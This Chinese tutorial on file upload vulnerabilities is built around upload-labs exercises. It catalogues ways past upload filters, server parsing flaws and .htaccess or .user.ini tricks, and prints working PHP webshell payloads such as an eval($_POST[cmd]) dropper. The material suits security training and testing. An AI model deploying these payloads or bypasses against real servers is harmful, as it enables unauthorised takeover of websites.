文件上传


文件上传漏洞原理

一些web应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。

危害

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可以将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

防御

  • 文件扩展名效验 php asp
  • 文件内容服务端效验
  • 上传文件重命名
  • 隐藏上传文件路径
  • 限制相关目录的执行权限

检测与绕过

无检测

直接上传一句话木马或者WebShell脚本即可。

客户端检测(Javascript检测)

在网页上写一段Javascript脚本,效验文件上传的后缀名,有白名单形式也有黑名单形式。如果上传文件的后缀不被允许,则会弹窗告知,此时文件上传的数据包并没有发送到服务端,只是在客户端浏览器使用Javascript对数据包进行检测。

这时有两种方法可以绕过客户端Javascript的检测:

  • 使用浏览器插件,删除检测文件后缀的Javascript代码,然后上传文件即可绕过
  • 首先把需要上传的文件后缀改成允许上传的文件类型,如jpg、png、gif等,绕过Javascript检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功

题目:upload-labs 01

服务端检测(MIME类型检测)

媒体类型(通常称为 Multipurpose Internet Mail ExtensionsMIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

服务器代码判断$_FILES[”file“]["type"]是不是图片格式(image/jpegimage/pngimage/gif),如果不是,则不允许上传该文件。

绕过方法:

抓包后更改Content-Type为允许的类型绕过该代码限制,比如将php文件的Content-Type:application/octet-stream修改为image/jpegimage/pngimage/gif等就可以

常见Content-Type

image/gif -> .gif
image/jpeg -> .jpg / .jpeg
image/png -> .png
text/plain -> .txt
text/html -> .html
video/mp4 -> .mp4

更多可在此处查看 HTTP Content-type

题目:upload-labs 02

服务端检测(文件扩展名检测)

  • 文件名双写绕过,如:*.pphphp

    使用情况:将文件名中 php 字符串替换为空,一般使用str_ireplace()/str_replace()
    代码的不严谨。为了更保险,应该递归式替换
    题目:upload-labs 11

  • 编码绕过: 当目标存在decode且检查后缀名在ecode之前,可以将php写为\u0070hp

    这是逻辑上的漏洞,通过代码审计可以发现它,或者直接去试试是否存在这个问题

  • 名单列表绕过,如:*.php *.php2 *.php3 *.php4 *.php5 *.php6 *.php7 *.pht *.phtm *.phtml

    以apache为例,关键点在/etc/apache2/mods-available/phpx.x.conf这个文件,满足.+\.ph(p[3457]?|t|tml)$,都会被当作php文件解析。

    在apache2目录下grep -r x-httpd-php /etc/apache2找到对应文件就能知道解析哪些后缀。

  • 文件名大小写绕过,如:*.pHp *.PHp

    win大小写不敏感,Linux大小写敏感,故若无特殊情况,仅限于win;

    但是,若apache内配置文件phpx.x.conf使用了大小写不敏感的方法来匹配后缀,如使用了AddHandler application/x-httpd-php .php .php3 .phtml ……,它是大小写不敏感的,即pHP会被使用application/x-httpd-php这个handler管理
    见 /etc/apache2/mods-available/php7.4.conf

    或者被改成了忽略大小写…… php PHp

  • 文件名后加 ::$DATA (Windows特有)

    在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

    例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
    题目:upload-labs 09

  • 0x00截断绕过,对目录路径的检测不够严谨而导致可以使用%00截断绕过进行攻击。

    截断类型:PHP%00截断

    截断原理:00代表结束符

    使用条件:php版本小于5.3.4,magic_quotes_gpc为OFF状态

    例如:path=./upload/1.php%00 name=1.png path=./upload/1.php%001.png

    一般情况,post传path时,需要将%00 URLdecode,详见 关于上传中的00截断分析
    题目:upload-labs 12、13

  • 文件包含漏洞

    文件包含

    1.只要所包含文件内容符合PHP语法规范,就可以可以被当作PHP解析。
    2.包含不符合PHP语法规范的文件,就会按照普通的文本显示出来。

    上传一句话图片木马,得知图片路径(/upload/1.jpg),图片代码为:

    <?=fputs(fopen('../shell.php','w'),'<?=eval($_POST[cmd])?>')?>
    

    访问http://www.example.com/include.php?file=./upload/1.jpg,就会在include.php所在目录生成shell.php。
    题目:upload-labs 14

  • 条件竞争(针对逻辑错误)

    一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

    攻击方法:

    • 攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码
    <?=fputs(fopen('../shell.php','w'),'<?=eval($_POST[cmd])?>')?>
    
    • 当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传

    题目:upload-labs 18

  • 双文件上传

  • 服务器解析漏洞

  • .htaccess文件攻击

  • .user.ini文件攻击

双文件上传(逻辑漏洞)

本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

  • 在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的相对路径,比如:xxx.asp/xxx.php
  • 补全url:https://www.example.com/xxx.php
  • 构造本地post提交表单

利用时只需要修改action的值为指定上传页面即可

  • 第一个文件上传允许的文件类型(.jpg .png .gif 等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。

解析漏洞攻击

主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞。

目录解析

  • 形式:www.example.com/xxx.asp/xxx.jpg
  • 原理:服务器会默认把 .asp.asp目录下的文件都解析成asp文件

文件解析

  • 形式:www.example.com/xxx.asp;.jpg
  • 原理:服务器默认不解析;后面的内容,因此xxx.asp;jpg被解析为xxx.asp文件了

Apache解析漏洞

在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。
例如上传的文件名为1.php.xxxx,因为后缀xxxx不可识别,所以向左解析后缀php。

  • 例如:shell.php.xxxx.xxxx ->shell.php

Nginx解析漏洞

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.example.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。

原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。

攻击方式

  • 形式:

    www.example.com/UploadFiles/image/1.jpg/1.php

    www.example.com/UploadFiles/image/1.jpg%00.php www.example.com/UploadFiles/image/1.jpg/%20\0.php

IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

.htaccess文件攻击

.htaccess(Hypertext Access),Apache服务器中的配置文件,作用于此目录及其所有子目录。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用

  • 用法1

    新建 txt 文档,重命名为.htaccess ,写入如下内容,即可将png文件按照php文件解析。

    AddType  application/x-httpd-php    .png .jpg .gif .xxxx
    

    写入如下内容则会将所有文件按照php文件解析。

    AddType  application/x-httpd-php
    
  • 用法2

    .htaccess 内写入php解析规则

    	#此处支持正则表达式
    SetHandler application/x-httpd-php
    
    

    文件名含有 shell 例如shell.png 就会以php文件解析

  • 用法3

    利用.htaccess进行文件包含在本目录或子目录中有可解析的 PHP 文件时,可以通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件(如WebShell),来触发文件包含。

    方法1:

    php_value auto_append_file ".htaccess"
    #<?php eval($_POST[cmd]);?>
    

    使用#注释使得.htaccess能够成功解析

    方法2:

    php_value auto_prepend_file "./1.png"
    

    1.png为上传过去的含有木马的文件

题目:upload-labs 11

.user.ini文件攻击

.user.ini是PHP的配置文件,作用于此目录及其所有子目录。

使用条件:服务器使用CGI/FastCGI模式;当前目录下包含至少一个.php文件

这个auto_prepend_file可指定文件在PHP文件解析前解析,类似require()。

auto_prepend_file=1.png // 将1.png包含在文件头
auto_append_file=1.png // 包含在文件尾

服务端检测(文件内容检测)

伪装为符合要求的文件,比如图片

直接将WebShell代码附到一张图片后面

copy 1.png/b + 1.php/a 2.png

或者把代码插入到图片中间

GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

+文件包含 / 配置文件攻击

更多绕过

标签替换

normal tag	普通标签
<?php ?>

short tag	短标签
<? echo $a ?>

short echo tag
<?=$a?>	<?=(表达式)?>		//获取后台非私有变量或表达式结果
    
例:
<?='abc'?>等价于<?php echo 'abc'?>
<?=phpinfo()?>等价于<?php echo phpinfo()?>

//注:short tag 需在PHP.INI配置 short_open_tag = On
script tag
<script language="php">eval($_POST[cmd])</script>
//注:script tag已从PHP 7中删除
asp tag
<% %>
<%= %>
//注:asp_tags 需在PHP.INI配置 asp_tags = On
//    asp tag已从PHP 7中删除

括号过滤

[]可以替代为{}

$_POST[cmd] => $_POST{cmd}

分号

//单独一条语句可不用分号
<?=phpinfo()?>	<?='abc','123'?>
<?php echo 1 ?>